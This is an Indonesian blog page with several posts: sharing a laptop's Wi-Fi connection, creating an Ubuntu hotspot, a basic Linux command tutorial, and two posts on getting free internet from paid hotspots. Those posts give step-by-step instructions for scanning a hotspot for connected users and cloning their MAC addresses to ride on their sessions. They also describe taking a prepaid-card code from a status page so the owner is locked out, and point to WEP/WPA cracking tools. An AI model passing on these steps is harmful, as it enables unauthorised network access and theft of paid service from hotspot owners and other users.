Ads 468x60px

.

Rabu, 12 Oktober 2011

Cara Mempercepat Koneksi Wifi Pada Laptop

Cara Mempercepat Koneksi Wifi Pada Laptop

Laptop kamu terhubung dengan internet melalui modem ponsel, modem usb, atau koneksi lain, dan ingin melakukan sharing koneksi internet dengan perangkat lain (laptop atau ponsel) melalui WIFI? Jika belum tau caranya, berikut saya informasikan langkah-langkah sederhana cara melakukan sharing koneksi internet dengan memanfaatkan koneksi WIFI, dengan kata lain, kita menjadikan laptop kita sebagai akses point-nya (info: untuk menjadikan ponsel sebagai akses point bisa baca di tulisan tentang Joikuspot). Jika ingin melakukan sharing melalui kabel jaringan bisa melihat tulisan saya tentang sharing koneksi internet.

Sebelum saya mulai, ada beberapa hal yang harus diperhatikan, yaitu, untuk komputer atau perangkat lain yang menjadi client harus mempunyai koneksi WIFI di dalamnya, dan jumlah client itu sendiri akan mempengaruhi kecepatan koneksi (makin banyak client-nya berarti makin lambat koneksinya). Sharing koneksi melalui WIFI ini tidak terlalu stabil dibandingkan dengan sharing dengan kabel jaringan.

Oke, langsung saja saya mulai.

Langkah pertama yaitu melakukan seting pada komputer induk. Untuk bagian pertama ini kita masuk ke ke Network Connections, klik kanan pada koneksi wireless (WIFI) dan pilih Properties.

Selanjutnya pada panel properties tersebut, masuk ke tab menu Wireless Networks, dan buat koneksi baru dengan memilih Add.

Isi Network name (SSID) sesuai dengan keinginan, hilangkan tanda centang pada The key is provided for me automatically (karena di sini kita akan menentukan sendiri network key-nya), dan isi Network key dengan angka atau huruf sebanyak 5 karakter, ulangi kode tersebut pada Confirm network key. Terakhir berikan tanda centang pada This is a computer-to-computer (ad hoc) network, wireless access point are not used. Jika sudah maka pada tab menu Wireless Network bagian Preferred networks akan bertambah satu network baru sesuai dengan yang baru saja kita buat di atas.

Langkah berikutnya masuk ke tab menu General dan pilih item Internet Protocol (TCP/IP), dilanjutkan dengan memilih Properties. Isi kolom IP address dengan 192.168.0.1 dan Subnet mask 255.255.255.0. Jika sudah simpan dengan memilih Ok.

Kembali ke Network Connections, kali ini kita pilih sumber koneksi yang kita gunakan (dalam contoh ini saya gunakan koneksi Smart), klik kanan pada koneksi tersebut dan pilih Properties.

Masuk ke tab menu Advanced, kemudian beri tanda centang pada Allow other network users to connect trough this computer’s internet connections. Sedangkan untuk Home networking connections, kita pilih koneksi wireless yang telah kita setup di atas (dalam contoh ini saya pilih Wireless Network Connections 2).

Sampai di sini proses setup komputer induk selesai, untuk memulai sharing koneksi, kita aktifkan dulu koneksi internet kita sesuai dengan sumber koneksi yang kita gunakan, kemudian pada panel Wireless Network Connections, kita pilih koneksi yang telah kita buat di atas dan pilih Connect.

Selanjutnya, pada komputer atau perangkat client (dalam contoh di sini saya gunakan ponsel Nokia N82 sebagai client), kita lakukan koneksi dengan komputer induk melalui WIFI, pilihWLAN Network yang telah kita buat di atas dan masukkan WEP key sesuai dengan key yang kita buat di atas (5 karakter).

Jika koneksi dengan komputer induk, maka koneksi WIFI pada panel Wireless Network Connections akan muncul notifikasi Connected, dan kita bisa mulai browsing dari komputer atau perangkat WIFI.
Reade more >>

Trik Membobol Hotspot - Hack Wifi Internet Gratis

Trik Membobol Hotspot - Hack Wifi Internet Gratis

kali ini saya akan sedikit share Cara Bobol Hotspot / wifi ( hack wifi berbayar menjadi gratis ) untuk internetan gratis tentunya. Mungkin ditempat anda banyak sekali bertebaran sinyal wireless/wifi dan tentunya kedetect sama adapter wifi computer / laptop anda namun tidak semuanya bisa anda manfaatkan untuk berselancar kedunia maya ini.

Banyak sekali sekarang penyedia layanan hotspot baik yang berbayar maupun yang gratisan. Buat yang mungkin ditempat anda kecipratan wifi yang gratisan mungkin tidak masalah namun bagi yang gak kecipratan yang gratis(bisa konek tapi gak bisa buat internetan)…???? Ya terpaksa harus bayar. Namun bagaimana sih cara untuk mem bypass proteksi hotspot ???

Semua itu tergantung dari proteksi yang dipakai oleh para penyedia layanan hotspot. Mulai dari proteksi mac adreess, WEP, WPA , Microtik dan masih banyak lagi proteksi yang lainnya, namun yang akan kita bahas kali ini adalah Membobol Hotspot yang pakai proteksi filtering mac adrress. oke langsung aja yuk kita coba

Yang perlu disiapin peralatannya:

1. komputer / Laptop yang dilengkapi Wifi adapter
2. software untuk mendeteksi jaringan dan penggunanya Untuk windows bisa pakai Netcut kalo belum punya bisa download disini
3. software pengubah Mac adreess wifi kita , disini saya pakai T MAC V.5 and bisa di download disini
4. cemilan / kopi
5. kesabaran dan keuletan

langkah2nya :

* Nyalain laptop / komputer dan adapter wifinya
* tunggu sampai konek ke hots pot yang mau di bobol/ atau bias ki konekkan secara manual
* buka Netcut , pilih Choice netcard yang kamu gunakan,
* dalam table netcut nanti akan muncul IP, MAC adreess dan juga hostname.
* catat mac/ ip yang mau dibobol ( jangan sampai salah mac server yah)
* ganti mac adreess kamu sesuai dengan yang udah kamu catat tadi paki T Mac V5 .R3
* coba di reconnect wifi kamu , and coba buat browsing

trik membobol wifi, hack wifi, trik internet gratis, wifi gratis


Catatan :

* Cara ini hanya berfungsi untuk hotspot yang hanya memakai proteksi filtering mac adreess
* Cara ini juga dapat dipakai pada hotspot yang memakai jatah waktu untuk setiap mac adreess ( misalnya di netcaffee)
* Cara ini hanya sebagai pembelajaran semata, akibat yang ditimbulkan kemudian hari tanggung sendiri yahhhhh …hehehehe
Reade more >>

Internet Gratis Dengan Cara Membobol Password Wifi Hotspot Warnet, Plasa, Cafe, ato Kampus !(Updated)


Internet Gratis Dengan Cara Membobol Password Wifi Hotspot Warnet, Plasa, Cafe, ato Kampus !(Updated)


Seperti kita ketahui, HotSPOT atau tempat akses internet Wireless dengan standard 802.11b/g sudah bukan barang asing lagi ditelinga kita, dan bila kita berpergian di tempat publik seperti Mall, Cafe, hotel dan kantor, dengan mudahnya kita menemukan fasilitas tersebut..

Namun sangat disayangkan tidak semua penyedia layanan menawarkan fasilitas Internet Wireless dengan gratis, atau kalaupun gratis,. sangatlah terbatas.
Salah satu proteksi yang digunakan penyedia layanan wireless adalah dengan membatasi akses internet berdasarkan MAC Address.
Apa itu MAC Adress ?
In computer networking a Media Access Control address (MAC address) or Ethernet Hardware Address (EHA) or hardware address or adapter address is a quasi-unique identifier attached to most network adapters (NICs)..
Oke jadi kesimpulannya MAC Address adalah nomer unik yang membedakan setiap perangkat jaringan yang terpasang dikomputer kita.
Contoh kasus adalah HotSPOT di Food Court Plasa Semanggi. Pada HotSPOT FoodCourt Plasa Semanggi ., sang penyedia layanan Internet Wireless, membatasi penggunaan Internet gratis hanya selama 3 Jam, setelah itu anda tidak dapat mengakses internet lagi, dan baru akan dapat mengakses lagi di hari esok. Jenis proteksi yang digunakan adalah MAC Address Filtering.
Bagaimana menjebol Proteksi dengan MAC Address ?
Ada sebuah tools yang sangat bermanfaat untuk anda.Tools itu bernama K-MAC Download Dicini <via Ziddu>
Dengan tools ini anda akan dapat mengubah MAC-Address anda secara instant dan apa artinya ? Anda dapat menjebol Proteksi MAC Address !. Setiap jatah akses internet anda habis dalam waktu 3 jam, yang anda perlu lakukan hanyalah mengubah MAC Address anda, dan lakukan koneksi kembali.
gw tambahin buat info. cracking password WEP/WPA/WPA-2 menggunakan
program yang tersedia dalam paket OS backtrack yaitu
kismet
Kismet adalah satu Tool security yang berjalan Linux, kismet digunakan untuk menyadap lalu lintas data dalam jaringan internet.
Aircrak-ptw Aircrak-ptw adalah tool yang digunakan untuk meng-crack wireless yang diproteksi. Masing-masing notebook dengan spesifikasi berbeda, sehingga cara untuk menggunakan aircrack pun berbeda.
Trik yang satu ini juga dipakai untuk mencari password yang digunakan oleh seseorang untuk mengakses hotspot yang menggunakan kartu prepaid.
Alat yang dipersiapkan sih simple aja :
- Seperangkat Laptop : PC yang ada wifi adapternya juga bisa, asal jaringan hotspotnya bisa tertangkap.
- Charger laptop : karena pasti memakan banyak daya batre saat keranjingan internet gratisNgakakNgakak..
Software yang diperlukan:
1. Angry IP Scanner 2.21 Klik Disini Untuk Donlot <Via Ziddu>
2. Technitium MAC Address v5 release 3 Klik Disini Untuk Donlot <via Ziddu>
Langsung aja sekarang ke caranya:
# Cari lokasi penyedia layanan hotspot, tentunya di daerah yang terjangkau jaringan hotspot tersebut..
# Hidupkan laptop anda, dan hidupkan pula wireless network anda dan lihat di sistem tray icon wireless network, kemudian klik kanan dan pilih view avalible wireless network, dan tentunya setelah itu anda harus connect ke wireless hotspot tujuan anda.
# Setelah connect, klik kanan sistem tray dan pilih status >pilih tab detail > kelihatan disana ip yang diberikan kepada kita. Catat ip tersebut.
# Buka Program AngryIP Scanner 2.21 dan isikan ip range yang akan kita scan (pakai data ip kita tadi) pada bagian atas. Misalnya : IP yang kita dapat 135.125.1.13 kemudian masukkan pada kolom range pertama ip kita sesuai dengan ip yang tadi namun ganti angka di bagian akhir dengan 1 menjadi 135.125.1.1 dan pada kolom kedua tuliskan sama namun angka satu diakhir itu ganti dengan 255 menjadi 135.125.1.255. hasilnya 135.125.1.1 to 135.125.1.255 dan klik start (tombol merah).
# Setelah melakukan scanning maka kita akan mendapatkan data ip yang hidup yang terkoneksi dengan hotspot tersebut. setelah scanning selesai maka lihat ip yang hidup (alive host) warna biru klik kanan pada ip yang hidup Klik kanan pada ip yang warna biru tadi klik kanan > show > mac address dan akan ada kode mac addres (terkadang ada mac addressnya tidak tampil, pilih saja ip yang lainnya). Catat mac address yang kita dapatkan.
# Buka Program Technitium MAC Address v5 release 3 yang telah kita persiapkan. Disana ada field mac address. nah sekarang tinggal ganti mac address tersebut dengan yang kita dapatkan tadi dan tekan change mac id.
# Tunggu karena mac kita akan diganti dan koneksi sementara terputus dan konek lagi otomatis sendiri.
# Masuk web browser firefox atau apa saja boleh. Nikmati Internet Gratis…...
Satu hal yang perlu diingat adalah kita sistemnya numpang data transfer pada account yang kita hack tadi (yang punya ip tadi, maaf.....).
Ini bisa di akali dengan masuk halaman status login hotspot tersebut (untuk dapat account). Misalnya idonbiu.hotspot.net/status dan begitu masuk disana kan terlihat nomor sandi prepaid card dan kita catat saja, lalu logout, dan masuk kembali ke halaman login hotspot itu cepat-cepat masukkan sandi tadi. Hal ini akan membuat kita secara langsung dapat mengakses internet tanpa menumpang lagi (soalnya yang make prepaid card code kan kita) jadi kalau ada yang mau login pakai kartu itu (yang punya code) saat kita login pakai kartu itu tentunya dia tidak akan bisa masuk karena kartu prepaid cardnya
“already login”.
Bagaimana, menarik bukan ?
Tapi saya sarankan, seperti yang saya lakukan adalah dengan menumpang saja, karena saya tidak mau berbuat terlalu jauh, seperti cara yang saya beritau untuk me log off dan log in lagi tentunya akan membuat sang pemilik tidak bisa log in. Kasian kan ?
Jadi mumpung sudah dikasi gratisan, kenapa gak numpang saja ya, itung-itung cuman ikutan ngakses bareng kan tidak terlalu merugikan. Minta ijin langsung juga kemungkinan yang punya gak nolak, asal kepentingannya memang mendesak.
Untuk Scanning Ip juga bisa memakai aplikasi Dude 3.5.zip Klik DicinI Untuk DownlOad <Via Ziddu> untuk mengetahui kondisi koneksi komputer-komputer ke hotspot. Bisa dicoba juga ya..
Oh Yaw Niy dapet yang terbaru klo di hotspot pada pake wep or wpa pake ini aja  barusan dicobain tembus euy…...
WEP and WPA keygenerator v1.00*KliK dicini UnTuk DoNloT<via ZiddU> atau
Wireless Key Generator KliK Dicini UntUk DonlOt <Via ZiDDu>
tinggal jalanin programnya trus generate,, kopi aja langsung ke network key-nya.
*Setelah di test kemaren di win 7 ternyata gak support hanya bisa berjalan di win xp
Atau juga dapet pakek nich pake aplikasi “wifi password finder
seach aja di 4shared ada kug, Qu Blum Sempet Upload
=========Tambahan=============
Jika Agan2 ingin menambah bandwidth internet supaya koneksinya terasa lebih cepat, Anda bisa melakukannya dengan cara mengurangi atau mengosongkan batasan bandwidth tersebut. Hal ini dilakukan agar bandwith yang ada dapat digunakan dengan maksimal.
Caranya seperti dibawah ini :
  1. Klik Start
  2. Klik Run
  3. Ketik gpedit.msc
  4. Kemudian pilih OK
  5. Klik Administrative Templates
  6. Klik Network
  7. Setelah terbuka klik QoS Packet scheduler
  8. Kemudian klik Limit Reservable Bandwidth
  9. Setelah terbuka ubah setting menjadi Enable
  10. Kemudian ubah Bandwidth Limitnya menjadi 0
  11. Klik Apply
  12. Kemudian pilih OK
  13. Terakhir keluar dari menu dan restart komputer.
Sekali lagi, semua ini hanya untuk pembelajaran saja, selama kita masih mampu kenapa gak pakai yang legal aja. Dan ini juga bisa dimanfaatkan oleh pemilik hotspot, kalau cara ini masih bisa digunakan untuk membobol. Jadi perlu keamanan yang lebih.
H4ck Dengan Kismet
Aku kemaren baru tau nich klo ada tools yang namanya kismet, lengkap banget. tapi sayang tools ini hanya bisa berjalan di linux. Klo udha punya linux misal ubuntu bisa dicoba gan. Tuk download kismet Klik Disini (Via Ziddu) Klo mau lebih tau tentang kismet bisa baca2 di dici nich
==UPDATE: Panduan step by step h4ck1ng wifii dengan linux backtrack==
Nich tutorial dari mas nathan dan bang ono pas pelatihan di unair yang disertai dengan gambar biar gampang ngertinya
Materi_Workshop_Wifi_Hacking_With_Backtrack_Unair_Des_2009
Reade more >>

Membuat Hotspot / Access Point Di Laptop


Membuat Hotspot / Access Point Di Laptop


Membuat Laptop Menjadi Hotspot / Access Point di Ubuntu

Dengan banyaknya pilihan operator yang tersedia saat ini, semakin mempermudah setiap orang untuk dapat koneksi internet murah. Nah, terkadang ada pemikiran bagaimana menjadi lebih murah dan efektif untuk memanfaatkan 1 USB Modem yang dimiliki sehingga dapat dipakai sebagai koneksi internet yang dapat dibagi pakai (sharing). Atau kalau bahasa internetnya adalah menjadikan Laptop yang memiliki USB Modem difungsikan sebagai Access Point / Hotspot. Bagaimana caranya ?
Ternyata dengan Ubuntu sangat mudah, sbb. :
1. Klik Icon Network Manager, kemudian pilih / klik Create New Wireless Network

2. Isikan Network Name, Pilih Wireless Security dan isikan Passowrd Key-nya

Nama Network saya isi : Wifi1, Wireless Securities pilih : “WEP 40/128-bit Key” (agar wireless juga bisa diakses oleh Windows) dan password sesuai keinginan. Klik Create. Sampai disini Anda telah sukses membuat Wireless Network dan setelah beberapa saat sistem Ubuntu akan menyampaikan informasi bahwa Wireless Network sudah Connect seperti terlihat pada gambar :

3. Pada Laptop yang lain (Ubuntu Sabily) saya akan mendemonstrasikan cara koneksinya. Klik Icon Network Manager. Dapat dilihat bahwa terdapat koneksi yang bisa digunakan (available) yaitu Wifi1. Klik Wifi1 …

4. Akan muncul kotak dialog : Wireless Securities dan Password Key, agar dipilih dan diisikan seperti data di atas, kemudian klik Connect … Nah Laptop sudah connect ke Internet melalui Wifi1 dan silakan berselancar.

5. Jika besok hari berikutnya akan mengaktifkan Wifi1 kembali, tidak perlu membuat koneksi baru, namun cukup klik Network Manager –> Create New Wireless Network. Pada Connection pilih Nama Wifi di atas (biasanya minta password user) –> klik Create

Semoga informasi ini bermanfaat :)
Reade more >>

Belajar Dasar-Dasar Linux


Belajar Dasar-Dasar Linux  

Belajar dasar-dasar linux ini saya khususkan untuk mengenal Linux dari dasar. Untuk pengenal Linux tingkatan menengah dan lanjutan akan Saya buatkan dalam thread lanjutan tersendiri. Thread ini akan membahas mengenai perintah-perintah dasar Linux. Tetapi maaf, thread ini tidak membuat cara installasinya, silakan lihat thread yang lain untuk mengetahui cara installasinya. Dan karena keterbatasan waktu Saya, maka thread ini akan Saya lengkapi dalam beberapa hari, jadi tidak akan diselesaikan dalam 1 waktu. Tidak jadi masalah khan? Selamat membaca dan belajar bersama sahabat BinusHacker di www.binushacker.net
Distro Linux yang akan Saya gunakan dalam contoh ini adalah Linux Mandriva 2006, untuk Linux yang lain pun sama saja caranya, perbedaannya sangat sedikit kok. Oh iya, dalam pembahasan ini Saya akan mengajarkan Linux secara text based, bukan GUI. Karena menurut Saya, kekuatan utama Linux terletak dari CLI (Common Line Interface).

Harap maklum jika pembahasannya kurang jelas, karena Saya pun masih awam di Linux dan belum mahir menggunakan Linux. Jadi mari Kita lengkapi thread ini mengenai dasar-dasar Linux.
Daftar Pembahasan:
  1. Struktur Folder di Linux
  2. Persiapan Installasi Linux
  3. Perintah Dasar Linux
  4. Fungsi Keyboard di Linux
  5. Membuat user dan group
  6. User Permissions file dan direktori di Linux
  7. Memberikan permission kepada file dan direktori
  8. Contoh kasus User Permission
  9. Menggunakan VI Teks Editor
  10. Instalasi Program di Linux
1. Struktur Foder Di Linux
Seperti Windows yang mempunyai struktur folder tersendiri (mis: \Windows, \Program files, \Document and settings), di Linux pun mempunyai struktur file tersendiri. Berikut adalah struktur folder yang ada di Linux
/ = root
|-bin = binary
|-boot = kernel save
|-etc = file-file konfigurasi
|-home = user data file
|-lib = library
|-usr = aplikasi
|-var = mail/log/database
|-mnt = mount point
|-tmp = temporary
|-sbin = binary super user
2. Persiapan Installasi Linux (Mandriva 2006)
  1. Media untuk insallasi dapat berupa: CD/DVD, HDD dan Network (ftp, http, nfs)
    Partisi di Linux, minimal terdiri dari 2 partisi, yaitu:
    1. Partisi / (root)
      Partisi ini digunakan sebagai system dari Linux itu sendiri. Partisi ini dapat bertipe: ext3, ext2, reiserfs, dsb. Saya menyarankan menggunakan tipe partisi ext3, karena bersifat Journalized FS.
    2. Partisi swap
      Partisi ini digunakan sebagai virtual memory, bila RAM yang ada tidak mencukupi. Ukuran minimal yang disarankan adalah 2X ukuran RAM, tetapi bila RAM Anda di atas 1 GB, tidak harus 2X ukuran RAM.
    3. Partisi home
      Partisi home ini tidak mesti ada, tetapi Saya menyarankan untuk membuat partisi ini, karena dengan adanya partisi ini, maka dokumen-dokumen Anda akan dipisahkan dari partisi / (root). Apa keuntungannya? Bila Linux Anda diinstall ulang, atau berganti windows, maka data Anda tidak akan hilang. Ini sama saja dengan Anda membuat 2 partisi di Windows, yaitu partisi untuk Windows dan partisi untuk dokumen Anda. Partisi home ini dapat bertipe ext3, ext2, reiserfs, dsb.
  2. Bagi Anda yang menggunakan CD/DVD untuk installasi Linux, maka Anda cukup boot dari CD/DVD tersebut untuk melakukan installasi. Karena CD/DVD Linux pada umumnya bersifat bootable
  3. Tetapi bagi Anda yang ingin melakukan install via jaringan (network), Anda cukup membuat boot disk ataupun bootable Flash Disk. Pembuatan boot disk harus dilakukan di komputer yang telah terinstall Linux. Berikut caranya:
    1. Untuk membuat boot disk, diperlukan file network.img dan network_drivers.img. Untuk membuat bootable Flash Disk, diperlukan file all.img. Biasanya file-file tersebut terletak di direktori install/images yang berada di CD/DVD Mandriva atau di direktori Mandriva yang terletak di server.
    2. Copy file tersebut ke disket atau ke flash disk, caranya adalah sebagai berikut:
      1. Untuk disket, harap format dulu disketnya. Ini untuk menghindari error yang terjadi pada disket. Cara format disket, ketik di Console: mformat a:
      2. Kemudian, image yang sudah dibuat tersebut harus dicopy ke disket atau flash disk. Untuk disket, copy image tersebut dengan perintah:
        $ dd if=network.img of=/dev/fd0
        $ dd if=network_drivers.img of=/dev/fd0  Network.img untuk disket 1 (Disket booting) dan network_drivers.img untuk disket 2.
        Untuk flash disk, copy image tersebut dengan perintah:
        # dd if=all.img of=/dev/sda1
        Perhatikan tanda $ dan #. Tanda $, artinya Anda login sebagai user biasa, sedangkan tanda # artinya Anda login sebagai root.
  4. Setelah disket/flash disk booting selesai dibuat, Anda tinggal boot komputer menggunakan disket atau flash disk tersebut, selanjutnya tinggal mengikuti instruksi yang ada. Cara installasi-nya silakan lihat thread yang lain.
3. Perintah Dasar Linux
Keterangan:
Perintah Linux = Perintah DOS = Keterangan perintah
  • ls = dir = melihat isi file
  • clear = cls = membersihkan tampilan di layar monitor
  • cp = copy = menyalin file
  • mv = ren, move = mengubah nama file, dan bisa juga untuk memindahkan file ke direktori tertentu
  • cd = cd = berpindah direktori (jika tanpa parameter akan menuju ke home direktori)
  • mkdir = md = membuat direktori
  • rmdir = rd = menghapus direktori kosong
  • cat = type = melihat isi file
  • rm = del = menghapus file atau direktori
  • pwd = cd = melihat direktori aktif saat ini
  • more = more = melihat tampilan per halaman
  • grep = <<tidak ada>> = menyaring tampilan atau file berdasarkan kata tertentu
  • free = mem = melihat informasi memory
Jika di DOS untuk menampilkan keterangan suatu perintah digunakan /?, maka di Linux dapat menggunakan perintah man. Contoh, untuk mengetahui fungsi dari perintah ls, maka dapat menggunakan man ls
Untuk menampilkan daftar perintah yang ada di linux, gunakan perintah info.
Beberapa contoh penggunaan perintah dasar Linux:
  • Menampilkan daftar file atau direktori
    ls -a = Melihat semua file atau direktori termasuk yang disembunyikan (diawali dengan tanda . (titik))
    ls -l = Menampilkan file dan direktori dalam tampilan lengkap, termasuk ukuran, tanggal modifikasi, pemilik, group dan mode atributnya
    ls -R = Menapilkan semua file atau direktori. Jika terdapat direktori, isi direktori itu akan ditampilkan juga
  • Membuat direktori beberapa level dalam 1 perintah. Contohnya direktori yang mempunyai susunan seperti ini:
    Komputer
    |-Hardware
    |-CPU
    |-Memori
    |-HDD
    |-Software
    |-OS
    |-Office
  • Maka Anda dapat menggunakan perintah berikut:
    $ mkdir -p Komputer/{Hardware/{CPU,Memori,HDD},Software/{OS, Office}}
  • Untuk melihat strukturnya, gunakan perintah tree (bila tidak ada, install dulu tree-nya dengan perintah urpmi tree)
  • Untuk menghapus direktori Komputer termasuk yang berada di bawahnya (di DOS dilakukan dengan perintah deltree), gunakan perintah
    $ rm -rf Komputer
    Parameter -rf artinya adalah menghapus seluruh direktori yang berada di dalamnya (-r) tanpa bertanya lagi (-f).
  • Membuat file dan melihat isinya:
    Membuat file dapat dilakukan dengan perintah cat, caranya hampir sama dengan perintah DOS (via copy con namafile), caranya adalah
    $ cat > namafile
    Untuk menyimpan file tersebut, tekan ^D.
  • Melihat isi file, dilakukan dengan perintah cat namafile
  • Melihat isi file tetapi hanya 10 baris pertama saja head namafile
  • Melihat isi file tetapi hanya 10 baris terakhir saja tail namafile
  • Melihat isi file tetapi hanya 5 baris pertama saja head -5 namafile
  • Melihat isi file tetapi hanya baris 5 saja head -5 namafile | tail -1
  • Perintah Pause:
    Di Linux ada 2 macam perintah untuk melihat tampilan daftar/isi file per layar. Perintah tersebut adalah more dan less  Perbedaan more dengan less terletak pada apa yang ditampilkan dalam jumlah besar. Perintah more hanya dapat melihat tampilan per layar tanpa bisa melihat apa sudah ditampilkan, jadi tidak bisa scroll ke atas untuk melihat tampilan yang telah lewat.
    Perintah less, lebih lengkap dari more karena less dapat melihat tampilan yang telah lewat dengan menggunakan panah atas.
4. Fungsi Keyboard di Linux
  • Ctrl+Alt+Fn = (n=1..6) Pindah ke terminal ke-n. Kita dapat menjalankan beberapa terminal sekaligus, jadi artinya Kita bisa login sebanyak 6 kali secara simultan dalam terminal/konsol
  • Ctrl+Alt+F7 = Pindah ke Xwindow yang telah berjalan
  • Ctrl+Alt+Del = Restart komputer
  • Ctrl+Alt+Backspace = Mematikan Xwindow server (dalam Xwindow), perintah ini berguna bila Xwindow rusak sehingga tidak dapat keluar secara normal.
  • Ctrl+c = membatalkan proses yang sedang berjalan
  • Ctrl+d = Mengirim pesan EOF (End of File) kepada proses yang sedang berlangsung
  • Panah Atas = Menampilkan kembali daftar perintah yang telah Kita ketik.
  • ~ = direktori user
  • | (pipeline) = fungsinya sama dengan yang berada di DOS, yaitu untuk menjalankan beberapa perintah bersamaan. Tetapi perintah setelah pipeline akan menggunakan masukan yang dihasilkan oleh perintah sebelum pipeline. Contoh: ls | grep Desktop, artinya adalah perintah grep akan menyaring semua keluaran yang dihasilkan oleh perintah ls. Jadi output perintah ls menjadi input untuk perintah grep.
Perintah Informasi System di Linux
  • pwd = menampilkan direktori aktif saat ini.
  • hostname = Menampilkan nama komputer yang sedang digunakan
  • whoami = Menampilkan nama login Kita
  • who = Menampilkan pengguna yang sedang aktif
  • id username = Menampilkan ID user dan ID Group
  • last = Menampilkan daftar user yang login terakhir kali
  • ps = Menampilkan proses saat ini yang dijalankan oleh user yang sedang aktif. Jika ditambahkan parameter axu, maka proses yang ditampilkan adalah proses yang dijalankan oleh masing-masing user.
  • top = sama seperti ps, tetapi diurutkan berdasarkan penggunaan CPU
  • free = Informasi memori, termasuk RAM dan Virtual Memory
  • df -h = Menampilkan kapasitas HDD (df=disk free)
  • du -bh = Menampilkan detail pemakaian HDD untuk setiap subdirektori (du=disk usage)
5. Membuat User dan Group
Sistem operasi Linux dari awalnya memang sudah dirancang untuk bekerja dengan banyak user, artinya adalah di Linux Kita bisa melakukan login dengan berbagai nama user, dan tentu saja dengan hak yang berbeda-beda dan hak akses yang berbeda pula untuk file dan direktori.
Tidak hanya membuat user saja, tetapi semua user yang ada dapat dikelompokkan. Contohnya, Kita dapat mengelompokkan user berdasarkan departemen yang ada di perusahaan, contohnya group Marketing, Purchasing, Finance, Accounting, dsb.
Sekarang bagaimana caranya kita membuat user dan group di Linux? Caranya cukup mudah, dan seperti Saya beritahukan di awal thread, Kita akan melakukan semuanya melalui command line atau biasa disebut text based.
  • Membuat user, gunakan perintah # useradd NamaUser
    Perintah tersebut akan membuat user baru sesuai dengan nama user yang kita masukan. Perhatikan juga bahwa pembuatan user tersebut akan membuatkan 1 direktori sesuai dengan nama user tersebut pada direktori /home. Selain itu, default group user ini adalah nama user itu juga.
  • Melihat daftar user yang ada, perintahnya # cat /etc/passwd
    Daftar user tersebut, nantinya akan berbentuk seperti ini 
    guest:x:500:500:guest:/home/guest:/bin/bash
    Dari daftar tersebut, terlihat kalau daftar tersebut terbagi menjadi 7 kolom/bagian yang dipisahkan oleh tanda : (titik dua).
    • Kolom 1 berisi username
    • Kolom 2 berisi password (hanya ditandi dengan tanda ‘x’ yang berarti mempunyai password)
    • Kolom 3 berisi UID (user ID), UID ini selalu dimulai dari 500
    • Kolom 4 berisi GID (Group ID), GUID ini juga selalu dimulai dari 500
    • Kolom 5 berisi Full name user
    • Kolom 6 berisi home direktori user
    • Kolom 7 berisi shell user tersebut
  • Melihat password user dalam bentuk terekripsi, perintahnya # cat /etc/shadow
  • Menghapus user, gunakan perintah # userdel namauser
    Perintah ini akan menghapus user yang kita masukan, tetapi tidak menghapus direktori user di folder /home.
  • Menghapus user dan folder home-nya, gunakan perintah # userdel -r namauser
  • Membuat Group, gunakan perintah # groupadd NamaGroup
    Perintah tersebut akan membuat suatu group baru. Saat baru dibuat group ini akan kosong, artinya tidak ada anggota pada group ini. Seperti penjelasan di atas, bahwa setiap pembuatan GID ini akan dimulai dari 500. Sekarang bagaimana jika kita ingin memberikan GID ini dengan 700? Gunakan perintah # groupadd -g 700 NamaGroup.
  • Melihat daftar group yang ada, gunakan perintah # cat /etc/group
  • Menambahkan user ke group tertentu, perintahnya # usermod -G NamaGroup NamaUser
  • Menghapus Group, gunakan perintah # groupdel NamaGroup
6. User Permissions File dan Direktori di Linux
Karena bekerja dengan banyak user, maka hak akses file dan direktori masing-masing user juga menjadi sangat vital. Seringkali user tertentu tidak ingin direktori dan file-filenya tidak ingin dilihat oleh orang lain. Dan bisa juga direktori atau file-file tertentu saja yang dibolehkan untuk dilihat orang lain. Atau bisa juga hanya group user tersebut yang boleh melihatnya tetapi group lain tidak boleh melihatnya. Itulah gunanya user permission di Linux. Kita bisa menentukan user atau group siapa saja yang boleh melihat file atau direktori tertentu.
Coba Anda melakukan perintah ls -l, di sebelah paling kiri akan muncul user permission dari file dan direktori yang ditampilkan tersebut. Formatnya adalah seperti ini drwxrwxrwx yang terdiri dari 10 digit. Dari format tersebut, dibagi ke dalam 4 segmen, yaitu:
d rwx rwx rwx
  • Segmen 1 menandakan tipenya, apakah berupa direktori, regular file atau link file. Kodenya adalah:
    • d = direktori
    • - = regular file
    • l = link file
  • Segmen 2 menandakan permission untuk pemilik (owner)
  • Segmen 3 menandakan permission untuk group
  • Segmen 4 menandakan permission selain pemilik dan group (others)
Untuk segmen 2, 3 dan 4 selalu berformat rwx, artinya:
  • r = read, akses untuk melakukan pembacaan file
  • w = write, akses untuk melakukan penulisan, pengeditan (rename, edit), penghapusan file atau direktori.
  • x = execute, akses untuk menjalankan suatu file atau masuk ke suatu direktori.
Jadi jika format permissionnya adalah seperti ini:
  1. drwxrwxr–maka hal ini berarti bahwa:
    • Direktori tersebut (karena diawali huruf d yang berarti direktori) dapat dibaca, diedit oleh pemiliknya, dan pemilik tersebut juga dapat masuk ke direktori tersebut.
    • Direktori tersebut dapat dibaca, diedit oleh groupnya, dan groupnya dapat masuk ke direktori tersebut.
    • Direktori ini hanya dapat dilihat oleh user atau group lain, tidak bisa melakukan editing (rename dan hapus), dan tidak bisa masuk ke direktori tersebut.
  2. -rw-r—–
    • File tersebut (karena diawali tanda – yang berarti file biasa) dapat dibaca, diedit oleh pemiliknya, tetapi tidak bisa dieksekusi/dijalankan (layaknya .exe di windows), karena tidak ada permission untuk execute (x)
    • File tersebut hanya dapat dibaca oleh groupnya, tanpa dapat diedit/dihapus dan tidak dapat dieksekusi
    • File ini tidak dapat dibaca, diedit/dihapus maupun dijalankan oleh user dan group yang lain.
7. Memberikan Permission Kepada File dan Direktori
Kita sudah mengetahui permission apa saja yang ada di file dan direktori di Linux. Tetapi Kita belum mengetahui bagaimana cara memberikan permission kepada file atau direktori tersebut. Di Linux, untuk memberikan permission dapat dilakukan dengan perintah chmod permission FileAtauDirektori.
Option untuk perintah chmod ini dapat dilakukan dengan 2 cara, yaitu menggunakan symbol huruf dan menggunakan symbol angka. Untuk menggunakan symbol huruf, maka huruf yang digunakan terdiri dari:
  • u = owner
  • g = group
  • o = others
  • a = all
  • + = menambahkan permission
  • - = mengurangi permission
  • r = permission untuk membaca (read)
  • w = permission untuk menulis (write)
  • x = permission untuk menjalankan atau masuk ke direktori (execute)
Untuk memberikan akses tulis kepada group, maka option yang harus kita berikan adalah g+w.
Untuk menghilangkan akses baca kepada user atau group lainnya, maka option yang harus kita berikan adalah o-r.
